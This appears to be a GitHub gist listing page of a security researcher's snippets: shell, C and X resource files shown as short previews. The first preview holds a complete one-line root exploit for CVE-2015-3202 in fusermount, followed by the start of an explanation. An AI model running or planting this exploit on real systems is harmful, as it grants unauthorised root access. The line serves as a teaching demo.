This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet. | |
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890 | |
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 | |
# Here's how it works, $a holds the name of a shellscript to be executed as | |
# root. | |
a=/tmp/.$$; | |
# $b is used twice, first to build the contents of shellscript $a, and then as |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> | |
#include <fwpmu.h> | |
#include <sddl.h> | |
#include <malloc.h> | |
// | |
// Attempt to reset a FWP Engine Security Descriptor. | |
// For https://github.com/henrypp/simplewall/issues/680 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
#include <signal.h> | |
#include <errno.h> | |
#include <stdbool.h> | |
#include <stdlib.h> | |
#include <err.h> | |
#include <sys/types.h> | |
#include <sys/wait.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <unistd.h> | |
#include <stdbool.h> | |
#include <stdio.h> | |
#include <signal.h> | |
#include <err.h> | |
#include <string.h> | |
#include <alloca.h> | |
#include <limits.h> | |
#include <sys/inotify.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
declare -ar _status=( | |
[ 0]=😀 # Success | |
[ 1]=🤨 # Error | |
[129]=📞 # SIGHUP | |
[130]=🛑 # SIGINT | |
[131]="(╯°□°)╯︵ ┻━┻" # SIGQUIT | |
[132]=👮 # SIGILL | |
[133]=🐍 # SIGTRAP | |
[134]=💥 # SIGABRT |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# man equivalent for msdn pages so I can look them up in the console. | |
function msdn() | |
{ | |
local lucky="https://www.google.com/search?btnI" | |
local query="q=site:docs.microsoft.com+inurl:/en-us/windows/desktop/" | |
local title="Microsoft Developer Network" | |
local cache="${HOME}/.msdn/" | |
if ! type lynx > /dev/null; then | |
echo "error: lynx is not installed, please install it." 1>&2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Open direct messages window, paste this into console. | |
function deleteNextConversation() | |
{ | |
if (!(dm = document.getElementsByClassName("DMInbox-conversationItem")[0])) { | |
clearInterval(tmr) | |
return; | |
} | |
dm.firstChild.click(); | |
setTimeout('document.getElementsByClassName("js-actionDeleteConversation")[0].click()', 1000); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
! XTerm resources | |
! | |
! Remember to run `xrdb < .Xresources` after changing anything. | |
! | |
! Tavis Ormandy <taviso@gmail.com> | |
! Set the default UI font (menus, toolbar, etc) | |
XTerm*XftFont: Segoe UI:size=10:antialias=true:style=Regular | |
! Color of UI Components |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdint.h> | |
#include <stdlib.h> | |
#include <stdbool.h> | |
#include <iconv.h> | |
#include <string.h> | |
#include <assert.h> | |
// Quick utility to generate Process Monitor filter sets for testing. | |
// Tavis Ormandy <taviso@cmpxchg8b.com> |
OlderNewer